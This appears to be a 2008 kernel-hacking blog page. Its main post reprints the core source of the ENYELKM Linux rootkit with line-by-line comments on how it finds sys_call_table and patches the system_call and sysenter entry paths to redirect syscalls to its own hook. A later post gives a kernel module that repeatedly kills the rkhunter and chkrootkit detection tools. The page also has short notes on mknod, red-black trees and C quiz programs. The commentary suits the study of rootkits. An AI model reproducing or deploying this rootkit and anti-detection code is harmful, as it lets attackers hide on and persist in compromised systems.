Skip to content

comments on the core file of enyelkm rootkit

13-Feb-08
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
/*
 * ENYELKM v1.2
 * Linux Rootkit x86 kernel v2.6.x
 *
 * By RaiSe && David Reguera
 * < raise@enye-sec.org
 *   davidregar@yahoo.es
 *   http://www.enye-sec.org >
 * 注释 sniper.为了突出核心代码,部分代码被删除
 */
 
#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <net/tcp.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include "config.h"
#include "data.h"
#include "syscalls.h"
#include "kill.h"
 
#define ORIG_EXIT 19
#define DIRECALL 42
#define SALTO 5
#define SKILL 49
#define SGETDENTS64 57
#define SREAD 65
#define DAFTER_CALL 70
#define DNRSYSCALLS 10
 
#define ASMIDType( valor ) \
    __asm__ ( valor );
 
#define JmPushRet( valor )     \
    ASMIDType          \
    (              \
        "push %0   \n"     \
        "ret       \n"     \
                   \
        : : "m" (valor)    \
    );
 
#define CallHookedSyscall( valor ) \
    ASMIDType( "call *%0" : : "r" (valor) );
/*call my own system call service routine, not touch the system call table*/
 
 
/* punteros a syscalls/funciones originales */
int (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);
asmlinkage int (*orig_kill)(pid_t pid, int sig);
asmlinkage long (*orig_getdents64)
	(unsigned int fd, struct dirent64 *dirp, unsigned int count);
asmlinkage long (*orig_getdents)
	(unsigned int fd, struct dirent *dirp, unsigned int count);
 
 
/* variables globales */
extern struct proc_dir_entry *proc_net;
unsigned long dire_exit, after_call;
unsigned long dire_call, global_ip;
/*dire_call: address of syscall_call*/
/*dire_exit: address of syscall_exit*/
short lanzar_shell;
atomic_t read_activo;
void *sysenter_entry; /*address of sysenter_entry*/
void **sys_call_table;
struct packet_type my_pkt;
unsigned short global_port;
int errno;
 
 
/* prototipos funciones */
void *get_system_call(void);
void *get_sys_call_table(void *system_call);
void set_idt_handler(void *system_call);
void set_sysenter_handler(void *sysenter);
void *get_sysenter_entry(void);
void new_idt(void);
void hook(void);
 
 
/* estructuras */
/*interrupt descriptor*/
struct idt_descriptor
	{
	unsigned short off_low;
	unsigned short sel;
	unsigned char none, flags;
	unsigned short off_high;
	};
 
 
 
int init_module(void)
{
void *s_call;
struct module *m = &__this_module;
 
 
 
 
/*get the address of sysenter_entry()*/
sysenter_entry = get_sysenter_entry();
 
 
/* variables de control */
lanzar_shell = 0;
atomic_set(&read_activo, 0);
global_ip = 0xffffffff;
 
/* averiguar sys_call_table */
/*s_call <-the pointer to the system_call() system call handler*/
s_call = get_system_call();
 
/*get the value of variable sys_call_table*/
sys_call_table = get_sys_call_table(s_call);
 
/* punteros a syscalls originales */
/* save the original function pointers of system call service routines*/
orig_kill = sys_call_table[__NR_kill];
orig_getdents64 = sys_call_table[__NR_getdents64];
orig_getdents = sys_call_table[__NR_getdents];
 
/* modificar los handlers */
set_idt_handler(s_call);
set_sysenter_handler(sysenter_entry);
 
 
#if DEBUG == 1
printk("enyelkm instalado!\n");
#endif
 
return(0);
 
} /*********** fin init_module ***********/
 
 
 
void cleanup_module(void)
{
/* deleted by me
	(atomic_read(&read_activo) != 0)
    	schedule();
*/
 
 
 
#if DEBUG == 1
printk("enyelkm desinstalado!\n");
#endif
 
} /*********** fin cleanup_module ************/
 
 
/*get the pointer to the system_call() system call handler*/
void *get_system_call(void)
{
unsigned char idtr[6];
unsigned long base;
struct idt_descriptor desc;
 
/*store the contents of interrupt descriptor table register to idtr*/
asm ("sidt %0" : "=m" (idtr));
 
/*(47)32-bit linear base address (16)(15)16-bit table limit(0)*/
/*get the linear base address of the interrupt descriptor table*/
base = *((unsigned long *) &idtr[2]);
 
/*copy the contents of system_call system gate(linux) 
from interrupt descriptor table to local variable desc
*/
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));
 
/*form the OFFSET, that is, the pointer to the system_call() 
system call handler
*/
return((void *) ((desc.off_high << 16) + desc.off_low)); 
 
} /*********** fin get_sys_call_table() ***********/
 
/* sources
    240         # system call handler stub
    241 ENTRY(system_call)
    242         pushl %eax                      # save orig_eax
    243         SAVE_ALL
    244         GET_THREAD_INFO(%ebp)
    245                                         # system call tracing in operation
    246         testb $(_TIF_SYSCALL_TRACE|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
    247         jnz syscall_trace_entry
    248         cmpl $(nr_syscalls), %eax
    249         jae syscall_badsys
    250 syscall_call:
    251         call *sys_call_table(,%eax,4)
    252         movl %eax,EAX(%esp)             # store the return value
    253 syscall_exit:
    254         cli                             # make sure we don't miss an interrupt
    255                                         # setting need_resched or sigpending
    256                                         # between sampling and the iret
    257         movl TI_flags(%ebp), %ecx
    258         testw $_TIF_ALLWORK_MASK, %cx   # current->work
    259         jne syscall_exit_work
    260 restore_all:
    261         RESTORE_ALL
 */
 
/*  the disassembly
c0103d3c <system_call>:
c0103d3c:	50                   	push   %eax
c0103d3d:	fc                   	cld    
c0103d3e:	06                   	push   %es
c0103d3f:	1e                   	push   %ds
c0103d40:	50                   	push   %eax
c0103d41:	55                   	push   %ebp
c0103d42:	57                   	push   %edi
c0103d43:	56                   	push   %esi
c0103d44:	52                   	push   %edx
c0103d45:	51                   	push   %ecx
c0103d46:	53                   	push   %ebx
c0103d47:	ba 7b 00 00 00       	mov    $0x7b,%edx
c0103d4c:	8e da                	movl   %edx,%ds
c0103d4e:	8e c2                	movl   %edx,%es
c0103d50:	bd 00 e0 ff ff       	mov    $0xffffe000,%ebp
c0103d55:	21 e5                	and    %esp,%ebp
c0103d57:	66 f7 45 08 c1 01    	testw  $0x1c1,0x8(%ebp)
c0103d5d:	0f 85 c1 00 00 00    	jne    c0103e24 <syscall_trace_entry>
c0103d63:	3d 37 01 00 00       	cmp    $0x137,%eax
c0103d68:	0f 83 2a 01 00 00    	jae    c0103e98 <syscall_badsys>
 
c0103d6e <syscall_call>:
c0103d6e:	ff 14 85 c0 f4 2c c0 	call   *0xc02cf4c0(,%eax,4)  <--notice
c0103d75:	89 44 24 18          	mov    %eax,0x18(%esp)
 
c0103d79 <syscall_exit>:
c0103d79:	fa                   	cli    
c0103d7a:	8b 4d 08             	mov    0x8(%ebp),%ecx
c0103d7d:	66 f7 c1 ff fe       	test   $0xfeff,%cx
c0103d82:	0f 85 cc 00 00 00    	jne    c0103e54 <syscall_exit_work>
 
c0103d88 <restore_all>:
c0103d88:	8b 44 24 30          	mov    0x30(%esp),%eax
*/
 
/*
input: pointer to the system_call()
return: the value of variable sys_call_table
*/
void *get_sys_call_table(void *system_call)
{
unsigned char *p;
unsigned long s_c_t;
 
/*prepare for search*/
p = (unsigned char *) system_call;
 
/*search the address of syscall_call */
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
	p++;
 
/*dire_call <-- address of syscall_call*/
dire_call = (unsigned long) p;
 
/*
ff 14 85	c0 f4 2c c0 	
call   	*0xc02cf4c0(,%eax,4)
*/
p += 3;
/*
now, p point to 0xc0 ?;
(unsigned long *)p point to 0xc02cf4c0,(that is, variable sys_call_table)
*((unsigned long *) p), get the value of sys_call_table
*/
s_c_t = *((unsigned long *) p);
 
/*
get the address of "mov    %eax,0x18(%esp)"
*/
p += 4;
after_call = (unsigned long) p;
 
/*
search the address of syscall_exit()
/* cli */
while (*p != 0xfa)
	p++;
/*
save the address of syscall_exit();
*/
dire_exit = (unsigned long) p;
 
/* return the value of variable sys_call_table*/
return((void *) s_c_t);
 
} /********** fin get_sys_call_table() *************/
 
 
/*
c0103d3c <system_call>:
c0103d3c:	50                   	push   %eax
c0103d3d:	fc                   	cld    
c0103d3e:	06                   	push   %es
c0103d3f:	1e                   	push   %ds
c0103d40:	50                   	push   %eax
c0103d41:	55                   	push   %ebp
c0103d42:	57                   	push   %edi
c0103d43:	56                   	push   %esi
c0103d44:	52                   	push   %edx
c0103d45:	51                   	push   %ecx
c0103d46:	53                   	push   %ebx
c0103d47:	ba 7b 00 00 00       	mov    $0x7b,%edx
c0103d4c:	8e da                	movl   %edx,%ds
c0103d4e:	8e c2                	movl   %edx,%es
c0103d50:	bd 00 e0 ff ff       	mov    $0xffffe000,%ebp
c0103d55:	21 e5                	and    %esp,%ebp
c0103d57:	66 f7 45 08 c1 01    	testw  $0x1c1,0x8(%ebp)
c0103d5d:	0f 85 c1 00 00 00    	jne    c0103e24 <syscall_trace_entry>
c0103d63:	3d 37 01 00 00       	cmp    $0x137,%eax 				<--
 
notice
c0103d68:	0f 83 2a 01 00 00    	jae    c0103e98 <syscall_badsys> 	<--notice
 
c0103d6e <syscall_call>:
c0103d6e:	ff 14 85 c0 f4 2c c0 	call   *0xc02cf4c0(,%eax,4)
c0103d75:	89 44 24 18          	mov    %eax,0x18(%esp)
 
c0103d79 <syscall_exit>:
c0103d79:	fa                   	cli    
c0103d7a:	8b 4d 08             	mov    0x8(%ebp),%ecx
c0103d7d:	66 f7 c1 ff fe       	test   $0xfeff,%cx
c0103d82:	0f 85 cc 00 00 00    	jne    c0103e54 <syscall_exit_work>
 
c0103d88 <restore_all>:
c0103d88:	8b 44 24 30          	mov    0x30(%esp),%eax
*/
 
/*
    240         # system call handler stub
    241 ENTRY(system_call)
    242         pushl %eax                      # save orig_eax
    243         SAVE_ALL
    244         GET_THREAD_INFO(%ebp)
    245                                         # system call tracing in operation
    246         testb $(_TIF_SYSCALL_TRACE|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
    247         jnz syscall_trace_entry
    248         cmpl $(nr_syscalls), %eax
    249         jae syscall_badsys
    250 syscall_call:
    251         call *sys_call_table(,%eax,4)
*/
/*
input: a pointer pointing to the system_call  system call handler
*/
void set_idt_handler(void *system_call)
{
unsigned char *p;
unsigned long *p2;
 
/*prepare for search*/
p = (unsigned char *) system_call;
 
/* primer salto */
/*search the address of "jae syscall_badsys'*/
while (!((*p == 0x0f) && (*(p+1) == 0x83)))
    p++;
 
/*get the address of "cmpl $(nr_syscalls), %eax"*/
p -= 5;
 
/*
c0103d63:	3d 37 01 00 00       	cmp    $0x137,%eax 
the sequence is equivalent to the following:
*p = 0x68; "cmp" -->"push"
p++;point to next address
*/
*p++ = 0x68;
 
/*p2 point to "37 01 00 00"*/
p2 = (unsigned long *) p;
 
/*
"37 01 00 00" was covered by the address of function new_idt
then, the pointer p2 point to "0f 83 2a 01 00 00    	jae    c0103e98 <syscall_badsys>"
*/
*p2++ = (unsigned long) ((void *) new_idt);
/*now, the address of new_idt has been pushed into kernel stack.
cmp    $0x137,%eax;--> push address_of(new_idt)
*/
 
 
 
/*
0f 83 2a 01 00 00    	jae    c0103e98 <syscall_badsys>
prepare for next cover operation*/
p = (unsigned char *) p2;
/*jae is covered by ret*/
*p = 0xc3;
/*now,jae    c0103e98 <syscall_badsys>; --> ret*/
 
/*
till now,
cmp    $0x137,%eax;--> push address_of(new_idt);
jae    c0103e98 <syscall_badsys> --> ret;
 
*/
 
 
 
/*
    302 syscall_trace_entry:
    303         movl $-ENOSYS,EAX(%esp)
    304         movl %esp, %eax
    305         xorl %edx,%edx
    306         call do_syscall_trace
    307         movl ORIG_EAX(%esp), %eax
    308         cmpl $(nr_syscalls), %eax
    309         jnae syscall_call
    310         jmp syscall_exit
*/
/*
   7055 c0103e24 <syscall_trace_entry>:
   7056 c0103e24:       c7 44 24 18 da ff ff    movl   $0xffffffda,0x18(%esp)
   7057 c0103e2b:       ff
   7058 c0103e2c:       89 e0                   mov    %esp,%eax
   7059 c0103e2e:       31 d2                   xor    %edx,%edx
   7060 c0103e30:       e8 23 29 00 00          call   c0106758 <do_syscall_trace>
   7061 c0103e35:       83 f8 00                cmp    $0x0,%eax
   7062 c0103e38:       0f 85 3e fe ff ff       jne    c0103c7c <resume_userspace>
   7063 c0103e3e:       8b 44 24 24             mov    0x24(%esp),%eax
   7064 c0103e42:       3d 37 01 00 00          cmp    $0x137,%eax		<--notice
   7065 c0103e47:       0f 82 21 ff ff ff       jb     c0103d6e <syscall_call>  <--notice
   7066 c0103e4d:       e9 27 ff ff ff          jmp    c0103d79 <syscall_exit>
   7067 c0103e52:       89 f6                   mov    %esi,%esi
*/
/* syscall_trace_entry salto */
while (!((*p == 0x0f) && (*(p+1) == 0x82)))
    p++;
/*now, pointer p point to "0f 82 21 ff ff ff       jb     c0103d6e <syscall_call>"*/
 
/*
cmp    $0x137,%eax
jb     c0103d6e <syscall_call>  
equivalent to
if (%eax < $0x137)
	jump to syscall_call
*/
 
p -= 5;
/*now,p point to "cmp" in "3d 37 01 00 00          cmp    $0x137,%eax"*/
 
/*
"cmp" is covered by "push",
and then, point p point to the "37" in "37 01 00 00 $0x137,%eax"*/
*p++ = 0x68;
 
/*prepare for next cover operation*/
p2 = (unsigned long *) p;
 
/*
"37 01 00 00 $0x137,%eax" is covered by the address of function new_idt();
and then, pointer p2 point to "0f 82 21 ff ff ff       jb     c0103d6e <syscall_call>"
*/
*p2++ = (unsigned long) ((void *) new_idt);
/*
now, 
cmp    $0x137,%eax;
was changed to
push address_of(new_idt);
*/
 
/*prepare next cover operation*/
p = (unsigned char *) p2;
 
/*"jb" is covered by "ret"*/
*p = 0xc3;
/*till now,
cmp    $0x137,%eax;
jb     c0103d6e <syscall_call>;
have been changed to
push address_of(new_idt);
ret;
*/
 
 
} /********** fin set_idt_handler() ***********/
/*
set_idt_handler change the execution patch which go through system_call.
when the kernel issue a system call via the "int $0x80" instruction, kernel will run in 
this path.
*/
 
 
 
/*
set_idt_handler() have done the following:
it paches two functions, that are system_call and syscall_trace_entry
6947 c0103d3c <system_call>:
6948 c0103d3c:       50                      push   %eax
..
..
6966 c0103d63:       3d 37 01 00 00          cmp    $0x137,%eax			-->push 
 
address_of(new_idt)	
6967 c0103d68:       0f 83 2a 01 00 00       jae    c0103e98 <syscall_badsys>-->ret
6968
6969 c0103d6e <syscall_call>:
6970 c0103d6e:       ff 14 85 c0 f4 2c c0    call   *0xc02cf4c0(,%eax,4)
6971 c0103d75:       89 44 24 18             mov    %eax,0x18(%esp)
..
..
7055 c0103e24 <syscall_trace_entry>:
7056 c0103e24:       c7 44 24 18 da ff ff    movl   $0xffffffda,0x18(%esp)
..
..
7064 c0103e42:       3d 37 01 00 00          cmp    $0x137,%eax         -->push address_of
 
(new_idt);		
7065 c0103e47:       0f 82 21 ff ff ff       jb     c0103d6e <syscall_call> -->ret; 
7066 c0103e4d:       e9 27 ff ff ff          jmp    c0103d79 <syscall_exit>
7067 c0103e52:       89 f6                   mov    %esi,%esi
 
the purpose of set_idt_handler is:
when kernel path enter to system_call, that is system call handler
in the original sources and in the normal condition, 
the system call number stored in %eax is bellow 0x137,
so kernel will jump to execute instructions in label syscall_call, that is
execute the corresponding system call service routine.
but, now. the kernel code has been patched to:
cmp    $0x137,%eax			-->push address_of(new_idt)	
 jae    c0103e98 <syscall_badsys>-->ret
 so, kernel path will enter to execute function new_idt() nonconditionally.
 int new_idt(), it will check the system call number input parameter,
 and then, if the input is ok, it will jump to execute function hook(),
 otherwise, call the syscall_exit.
 
 and it patch syscall_trace_entry to do the same work.
 
*/
 
 
/*
   6901 c0103cc0 <sysenter_entry>:
   6902 c0103cc0:       8b a4 24 04 de ff ff    mov    0xffffde04(%esp),%esp
   6903
   6904 c0103cc7 <sysenter_past_esp>:
   6905 c0103cc7:       fb                      sti
   6906 c0103cc8:       6a 7b                   push   $0x7b
   6907 c0103cca:       55                      push   %ebp
..
..
   6930 c0103cfd:       66 f7 45 08 c1 01       testw  $0x1c1,0x8(%ebp)
   6931 c0103d03:       0f 85 1b 01 00 00       jne    c0103e24 <syscall_trace_entry>
   6932 c0103d09:       3d 37 01 00 00          cmp    $0x137,%eax <--notice
   6933 c0103d0e:       0f 83 84 01 00 00       jae    c0103e98 <syscall_badsys> <--notice
   6934 c0103d14:       ff 14 85 c0 f4 2c c0    call   *0xc02cf4c0(,%eax,4) <--notice
   6935 c0103d1b:       89 44 24 18             mov    %eax,0x18(%esp)
..
..
   6944 c0103d39:       0f 35                   sysexit
   6945 c0103d3b:       90                      nop
   6946
   6947 c0103d3c <system_call>:
*/
/*input: address of sysenter_entry*/
void set_sysenter_handler(void *sysenter)
{
unsigned char *p;
unsigned long *p2;
 
/*prepare for search*/
p = (unsigned char *) sysenter;
 
/* buscamos call */
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85)))
    p++;
/*now, p point to "ff" in "ff 14 85 c0 f4 2c c0    call   *0xc02cf4c0(,%eax,4)"*/
 
 
/* buscamos el jae syscall_badsys */
while (!((*p == 0x0f) && (*(p+1) == 0x83)))
    p--;
/*now, p point to "0f" in "0f 83 84 01 00 00       jae    c0103e98 <syscall_badsys>"*/
 
p -= 5;
/*now, p point to "3d" in "3d 37 01 00 00          cmp    $0x137,%eax"*/
 
/* metemos el salto */
 
/*cmp-->push, and then p point to "37" in "37 01 00 00 $0x137,%eax"*/
*p++ = 0x68;
 
/*prepare for patch*/
p2 = (unsigned long *) p;
/*now, p2 point to "37 01 00 00 $0x137,%eax"*/
 
 
*p2++ = (unsigned long) ((void *) new_idt);
/*
now, "37 01 00 00 $0x137,%eax" was patched to address_of(new_idt).
till now, "cmp    $0x137,%eax" -->"push address_of(new_idt)"
and then, p2 point to the first unsigned long in "0f 83 84 01 00 00       jae    c0103e98 
 
<syscall_badsys>"
*/
 
/*prepare for patch*/
p = (unsigned char *) p2;
*p = 0xc3;
/*now, "jace"-->ret*/
 
} /************* fin set_sysenter_handler() **********/
/*
the purpose of set_sysenter_handler:
<sysenter_past_esp>:
 sti
 ..
 ..
cmp    $0x137,%eax 			--> push address_of(new_idt);
jae    c0103e98 <syscall_badsys> -->ret;
..
*/
 
/*
set_sysenter_handler change the execution patch which go through sysenter_entry.
when the kernel issue a system call via the "sysenter" instruction, kernel will run in 
this path.
*/
 
 
 
 
void new_idt(void)
{
        ASMIDType
        (
        "cmp %0, %%eax      \n"
                "jae syscallmala        \n"
                "jmp hook               \n"
 
                "syscallmala:           \n"
                "jmp dire_exit          \n"
 
        : : "i" (NR_syscalls)
        );
 
} /********** fin new_idt() **************/
/*function new_idt() is equivalent to
if (%eax >= NR_syscalls, that is the input system call number >= the max number)
	jmp to syscallmala, that is jump to the address of syscall_exit()
else
	jmp hook;
 int new_idt(), it will check the system call number input parameter,
 and then, if the input is ok, it will jump to execute function hook(),
 otherwise, call the syscall_exit.
*/
 
 
 
void hook(void)
{
    register int eax asm("eax");
 
    switch(eax)
    {
        case __NR_kill:
          CallHookedSyscall(hacked_kill);
		  /*great, call the "new" system call service routine,
			but not patch the original system call table.
		  */
 	      break;
 
        default:
            JmPushRet(dire_call);
	     /*if the input system call number is that we don't concerned, 
	     just directly call syscall_calll, so that kernel will execute the original
	    system call service routine through the system call table.
	     */
	        break;
    }
/*
 
*/
 
    JmPushRet( after_call );
 
} /*********** fin hook() ************/
 
 
 
/* thx to Int27h :-) */
void *get_sysenter_entry(void)
{
void *psysenter_entry = NULL;
unsigned long v2;
 
if (boot_cpu_has(X86_FEATURE_SEP))
	rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);
	/*return the address of sysenter_entry()*/
else
	return((void *) DSYSENTER);
	/*what?*/
 
return(psysenter_entry);
 
} /********** fin get_sysenter_entry() **********/
 
 
 
/* Licencia GPL */
MODULE_LICENSE("GPL");
 
/* EOF */

red-black tree

10-Feb-08

red-black tree

翻译一篇关于红黑树的文章

红黑树 rbtree 实际使用例子一个

浅谈红黑树

红黑树论述

Red/Black Tree Demonstration

command mknod for LDD

22-Jan-08

for example

mknod /dev/sleepy c 253 0

sleepy is the name of device, whose driver has been installed through ‘insmod sleepy.ko’

253 is the major number identifying your driver associated with a device. the major number can be found from /proc/devices(through ‘vi /proc/devices’). It may look as following:

Character devices:
1 mem


189 usb_device
253 sleepy
..
Block devices:
1 ramdisk
2 fd
7 loop
8 sd

As you can see, 253 is the *major number*, it corresponds to the your driver named sleepy. This “sleepy” come from your command “insmod sleepy.ko”. ok?

Let’s look at command “mknod /dev/sleepy c 253 0″ again. In fact, the “sleepy” in here is different from the “sleepy” just showed above. This “sleepy” in here can be coded to any other names. It corresponds to the name of *char device* which you want to create. In other words, you can also create many different char devices named “hello”,”goodbye” with the same type which are all drived with the same driver named “sleepy” corresponding to command “insmod sleepy.ko”.

So, you can type the following commands to create many other different char devices.

mknod /dev/hello c 253 1

mknod /dev/goodbye c 253 2

You can notice, the minor number has changed to 1 and 2,. They are different, because they correspond to your created *many devices*. But these “many” devices are all drived by one driver whose identified number is 253.

understand? :)

using mknod come from man

NAME
mknod - make block or character special files

SYNOPSIS
mknod [OPTION]… NAME TYPE [MAJOR MINOR]

DESCRIPTION
Create the special file NAME of the given TYPE.

Mandatory arguments to long options are mandatory for short options too.

-m, –mode=MODE
set permission mode (as in chmod), not a=rw - umask

–help display this help and exit

–version
output version information and exit

Both MAJOR and MINOR must be specified when TYPE is b, c, or u, and they must be omitted when TYPE is p. If
MAJOR or MINOR begins with 0x or 0X, it is interpreted as hexadecimal; otherwise, if it begins with 0, as octal;
otherwise, as decimal. TYPE may be:

b create a block (buffered) special file

c, u create a character (unbuffered) special file

p create a FIFO

methods of linux kernel memory allocation

22-Jan-08

Linux Kernel 内存分配方式

….

21-Jan-08

The code is coded by the coding, not by the reading. The kernel is used for solving the problem, not for your reading. Too late, I must go to sleep ~~!!@#@#@3

What will they display after run?

17-Jan-08
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
/*1*/
#include <stdio.h>
 
int main()
{
        int i = -1;
        if (!i++) {
                printf("inner: %d\n", i);
        }
        printf("outer: %d\n", i);
 
        return 0;
}
 
/*2*/
 
#include <stdio.h>
 
int main()
{
        int i = 2;
        int j = 2;
        while (i--)
                printf("i=%d\n", i);
        while (--j)
                printf("j=%d\n", j);
 
        return 0;
 
}
 
/*3*/
 
#include <stdio.h>
 
int main()
{
        int i = 1;
        int j = 1;
 
        if (i == 1)
                printf("i, ok\n");
        else if (j == 1)
                printf("j, ok\n");
 
        return 0;
}
 
 
/*4*/
#include <stdio.h>
 
int main()
{
        int a = 4;
        int b = 6;
        int c = a ^ b;
        printf("%d\n", c);
 
        return 0;
 
}
 
 
/*5*/
#include <stdio.h>
 
int main()
{
        int a = 1;
        int b = 1;
        if (a || ++b)
                printf("%d\n", b);
 
        return 0;
}
 
/*6*/
#include <stdio.h>
 
int main()
{
        char a[] = "abcde";
        unsigned char *p;
        p = a;
 
        printf("%s\n", p);
        printf("before %x\n", p);
        *p++ = 0x6d;//<--m
        printf("after %x\n", p);
        printf("%s\n", p);
        printf("looking backward  %s\n", --p);
        return 0;
}
 
/*7*/
#include <stdio.h>
 
int main()
{
        int a = 1;
        int b = 2;
        int c;
        if ((c = (a + b)) != 0)
                printf("1: %d\n", c);
        if (c = ((a + b) != 0))
                printf("2: %d\n", c);
        if (c = (a + b) != 0)
                printf("3: %d\n", c);
 
        return 0;
}
 
/*8*/
#include <stdio.h>
#include <string.h>
 
int main()
{
        char s[3] = {'a','b','c'};
        printf("%d\n", sizeof(s));
        printf("%d\n", sizeof(*s));
        printf("%d\n", sizeof(&s));
        printf("%d\n\n", strlen(s));
 
        char p[] = "abc";
        printf("%d\n", sizeof(p));
        printf("%d\n", sizeof(*p));
        printf("%d\n", sizeof(&p));
        printf("%d\n\n", strlen(p));
 
        char *j = "abc";
        printf("%d\n", sizeof(j));
        printf("%d\n", sizeof(*j));
        printf("%d\n", sizeof(&j));
        printf("%d\n", strlen(j));
 
 
        return 0;
}
 
/*9*/
#include <stdio.h>
 
int main()
{
        char s[] = "abcdefghij";
        char *p = s;
        unsigned long *m = (unsigned long *)p;
 
        p++;
        printf("%s\n", p);
 
        return 0;
}
 
/*10*/
#include <stdio.h>
 
int main()
{
        int a = 2;
        int b = 1;
        if(!b & a)
                printf("!b&a\n");
        if(!(b & a))
                printf("!(b & a)\n");
        return 0;
}

学习内核源码的误区

13-Jan-08

1.源码太错综复杂了

部分源码是,但其复杂性更多是由于长期的修改增添形成的。所以,短期内不能完全理解不是你的错。

2.热衷于看源码解析类的书籍

其实源码本身才是权威的教材,其他书只是辅导资料。只看辅导资料不看教材是不行的。

an ugly implementation to kill rkhunter

10-Jan-08
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <asm-i386/param.h>
#include <linux/jiffies.h>
#include <linux/string.h>
#include <linux/delay.h>
 
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("fqh, http://cnkernel.org/blog/");
MODULE_DESCRIPTION("an ugly implementation to kill rkhunter");
 
static int list_init(void)
{
        struct task_struct *p;
 
        do {
                for_each_process(p) {
                        if (strstr(p->omm, "rkhunter") || strstr(p->comm, "chkrootkit")) {
                                kill_proc(p->pid, SIGTERM, 1);
                        }
                }
        } while (({msleep(HZ);1;}));
 
        return 0;
}
 
static void list_exit(void)
{
}
 
module_init(list_init);
module_exit(list_exit);

understanding the iteration macroes in list.h(first draft)

10-Jan-08

程序(最初粘贴这段程序时,还没找到语法显示插件,导致网页混入其他不可见的编码,不能直接用它来编译)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <linux/init.h>
#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/sched.h>
 
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("fqh,http://cnkernel.org/blog");
MODULE_DESCRIPTION("for understanding the iteration macroes in list.h");
 
static int list_init(void)
